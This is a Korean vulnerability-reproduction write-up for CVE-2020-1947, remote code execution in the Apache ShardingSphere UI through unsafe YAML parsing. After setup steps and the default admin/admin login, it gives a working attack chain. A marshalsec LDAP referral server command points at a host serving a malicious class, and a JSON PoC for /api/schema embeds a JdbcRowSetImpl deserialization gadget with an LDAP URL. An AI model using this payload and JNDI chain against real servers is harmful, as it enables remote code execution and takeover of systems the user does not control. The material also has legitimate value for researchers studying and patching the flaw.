CVE-2020-1947 Apache ShardingSphere UI YAML 파싱 원격 코드 실행 취약점 재현

0x01 shardingsphere 바이너리 패키지 다운로드

wget https://mirror-hk.koddos.net/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz

압축 해제

[root@kali]# tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz 
[root@kali]# ll
total 23064
drwxr-xr-x 6 root root      103 Feb 28 15:23 apache-shardingsphere-incubating-4.0.0-sharding-ui-bin

프로그램 디렉토리로 이동하여 실행

[root@kali]# cd apache-shardingsphere-incubating-4.0.0-sharding-ui-bin
[root@kali]# bin/start.sh

sharding-ui는 표준 springboot 프로그램이며, conf/application.properties를 통해 관련 정보를 구성할 수 있습니다.

#
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# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
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# the License.  You may obtain a copy of the License at
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server.port=8088

user.admin.username=admin
user.admin.password=admin

포트, 사용자명 및 비밀번호는 여기서 수정할 수 있습니다.

0x02 구성 및 사용

배포한 서버의 IP 주소:8088을 입력하여 관리 인터페이스에 접속합니다.

기본 사용자명과 비밀번호는: admin/admin입니다.

레지스트리 주소는 zookeeper 주소 형식: 127.0.0.1:2181입니다.

0x03 RCE를 위한 데이터 전송

ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.20.166:8000/#ExportObject

http://10.10.20.166:8088/api/schema

Poc:

{
  "name": "CVE-2020-1947",
  "ruleConfiguration": "  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5",
  "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/ExportObject\n  autoCommit: true"
}